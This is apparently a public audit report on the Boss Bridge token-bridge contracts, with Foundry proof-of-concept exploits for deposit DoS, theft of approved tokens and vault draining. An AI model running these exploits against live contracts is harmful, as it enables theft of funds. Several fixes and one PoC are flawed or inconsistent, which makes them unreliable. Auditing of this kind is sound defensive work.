Project Name: Boss Bridge

Audit Title: First Flight #4: Boss Bridge

Audit Period: November 9–15, 2023

Auditor: Harisuthan

Prepared For: Cyfrin CodeHawks

Report Date: April 23, 2025

Target Network: Ethereum Mainnet & zkSync

Confidentiality: Public Report

`[H-1] TITLE (Root + Impact)`

DoS Vulnerability in `**depositTokensToL2**`: Attacker Can Block Deposits by Increasing Vault Token Balance.

Description

The depositTokensToL2 function in the L1BossBridge contract is vulnerable to a Denial of Service (DoS) attack. It checks if the total tokens in the vault plus the new deposit exceed a set DEPOSIT_LIMIT using the line:

```
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
    revert L1BossBridge__DepositLimitReached();
}
```

However, this logic can be exploited. An attacker can directly transfer tokens to the vault. This increases the vault's balance and can cause the condition to fail for all future deposits, even if those deposits are legitimate. As a result, no one will be able to deposit tokens anymore, effectively blocking the function

Impact

1) No one can deposit tokens

Proof of Concepts

for prove this attack i wrote the test case below However

```
function test_DoSviaVaultBalanceManipulation() external {

    address user2 = makeAddr("user2");
    vm.startPrank(user2);
    deal(address(token), user2, 20);
    token.transfer(address(vault), 20);
    vm.stopPrank();
```

```
    //this one user now try to deposit  tokens to vault but got reverted
    vm.startPrank(user);
    uint256 amount = tokenBridge.DEPOSIT_LIMIT() - 9;
    deal(address(token), user, amount);
    token.approve(address(tokenBridge), amount);
    vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.selector);
    tokenBridge.depositTokensToL2(user, userInL2, amount);
    vm.stopPrank();

}
```

Recommended mitigation

we can use the following code to fix this issue

```
function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
++  if (totaldeposit + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }

++   totaldeposit += amount;

    token.safeTransferFrom(from, address(vault), amount);

    // Our off-chain service picks up this event and mints the corresponding
tokens on L2
    emit Deposit(from, l2Recipient, amount);

}
```

[H-2] TITLE (Root + Impact)

Attacker can call `**depositTokensToL2**` and pass any victim's address as from. If the victim has approved the bridge, the attacker can steal tokens by sending them to a recipient they control on L2

Description

The `depositTokensToL2` function takes a from address as input, allowing anyone to specify which wallet the tokens should be taken from. If a victim has approved the bridge contract, an attacker can pass the victim’s address as from and steal their tokens by redirecting them to their own L2 address. This leads to unauthorized token transfers

Impact

1) Loss tokens without user consent
2) Attacker can steal tokens from any user who has approved the bridge contract

Proof of Concepts

```
function test_TokenApprovalThief() public {
    // Create users
    address alice = vm.addr(1);
    vm.label(alice, "Alice");

    address bob = vm.addr(2);
    vm.label(bob, "Bob");

    // Distribute tokens
    deal(address(token), alice, 10e18);

    console2.log("Token balance alice (before):", token.balanceOf(alice));
    console2.log("Token balance bob (before):", token.balanceOf(bob));

    // Alice approves bridge
    vm.prank(alice);
    token.approve(address(tokenBridge), type(uint256).max);

    // Bob calls depositTokensToL2 with alice as from
    vm.prank(bob);
    tokenBridge.depositTokensToL2(alice, bob, 10e18);

    console2.log("Token balance alice (after):", token.balanceOf(alice));
}
```

in this test case, we create two users: Alice and Bob. Alice has 10 tokens and approves the bridge contract to spend her tokens. Bob then calls the depositTokensToL2 function, passing Alice's address as the from parameter. This allows Bob to steal Alice's tokens

Result :

```
Ran 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] test_TokenApprovalThief() (gas: 296162)
Logs:
  Token balance alice (before): 1000000000000000000
  Token balance bob (before): 0
```

Recommended mitigation : insted of setting from address as input, we can use msg.sender to get the address of the user who called the function. This way, only the user who initiated the transaction can deposit tokens to L2. The code would look like this:

```
++ function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {

    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }


  ++  token.safeTransferFrom(msg.sender , address(vault), amount);


    // Our off-chain service picks up this event and mints the corresponding
tokens on L2
    emit Deposit(from, l2Recipient, amount);
}
```

[H-3] TITLE (Root + Impact)

Attacker Can Drain All Funds from Vault by Calling `sendToL1` and Manipulating `L1Vault` to Approve Them.

Description

The sendToL1 function in L1BossBridge is public, allowing anyone to call it with arbitrary data. An attacker can craft a payload targeting the vault and, since L1BossBridge is the vault's owner, it can call approveTo to approve the attacker. This lets the attacker withdraw the entire vault balance.

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused {
    address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r,
s);

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }

    (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));  //getting the data from the message

    (bool success,) = target.call{ value: value }(data);   //calling the token
conttact to transfer the tokens
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
```

Impact

1) Attacker can drain all funds from the vault

Proof of Concepts

The test case below demonstrates how an attacker can exploit this vulnerability. The attacker can call the sendToL1 function with a crafted payload that targets the vault, allowing them to approve themselves and withdraw all funds.

```
function testhijakthemoney() external{

    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);
```

```
    tokenBridge.depositTokensToL2(user, userInL2, 10e18);

    console2.log("Vault balance before hijack:", token.balanceOf(address(vault)));

    address attacker = makeAddr("attacker");

    vm.startPrank(attacker);

    bytes memory message = abi.encode(address(vault),
0,abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)));

   (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s , message);

    token.transferFrom(address(vault), attacker, 10e18);

    console2.log("Vault balance after hijack:",
token.balanceOf(address(vault)));
    assertEq(token.balanceOf(address(vault)), 0);
    assertEq(token.balanceOf(attacker), 10e18);
    vm.stopPrank();



    }
```

The test case result:

```
Ran 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testhijakthemoney() (gas: 166956)
Logs:
  Vault balance before hijack: 1000000000000000000
  Vault balance after hijack: 0
  Attacker balance after hijack: 1000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 28.04ms (4.97ms CPU
time)

Ran 1 test suite in 46.77ms (28.04ms CPU time): 1 tests passed, 0 failed, 0
skipped (1 total tests)
```

Recommended mitigation : Make the sendToL1 function internal and remove the public visibility. This way, only the contract itself can call it, preventing external actors from exploiting it. The code would look like this:

```
 -- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused
 ++ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
internal nonReentrant whenNotPaused {
    address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r,
s);

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }

    (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));  //getting the data from the message

    (bool success,) = target.call{ value: value }(data);   //calling the token
conttact to transfer the tokens
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
```

[L-1] TITLE (Root + Impact)

`TokenFactory's` `deployToken` Allows Owner to Create Multiple Tokens with the Same Symbol.

Description

The `deployToken` function in the `TokenFactory` contract does not enforce symbol uniqueness. This allows the owner to deploy multiple tokens with the same symbol, which can confuse users and potentially be used for phishing or scam tokens. Each token will have a different address but share the same symbol.

Impact

1) Confusion for users

2) Potential for phishing or scam tokens

Proof of Concepts

the test case code below shows how the owner can deploy multiple tokens with the same symbol.

```
function testAddsamesymbol() public {
    vm.startPrank(owner);
    address Firsttoken = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);
    address Secondtoken = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);
    assertEq(tokenFactory.getTokenAddressFromSymbol("TEST"), Secondtoken);
    vm.stopPrank();


}
```

Result :

```
Ran 1 test for test/TokenFactoryTest.t.sol:TokenFactoryTest
[PASS] testAddsamesymbol() (gas: 1770309)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms (1.38ms CPU
time)

Ran 1 test suite in 14.15ms (3.52ms CPU time): 1 tests passed, 0 failed, 0 skipped
(1 total tests)
```

Recommended mitigation

Adding checking statement

```
function deployToken(string memory symbol, bytes memory contractBytecode) public
onlyOwner returns (address addr) {

   ++ require(s_tokenToAddress[symbol] == address(0), "Token already deployed");


    assembly {
        addr := create(0, add(contractBytecode, 0x20), mload(contractBytecode))
    }
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```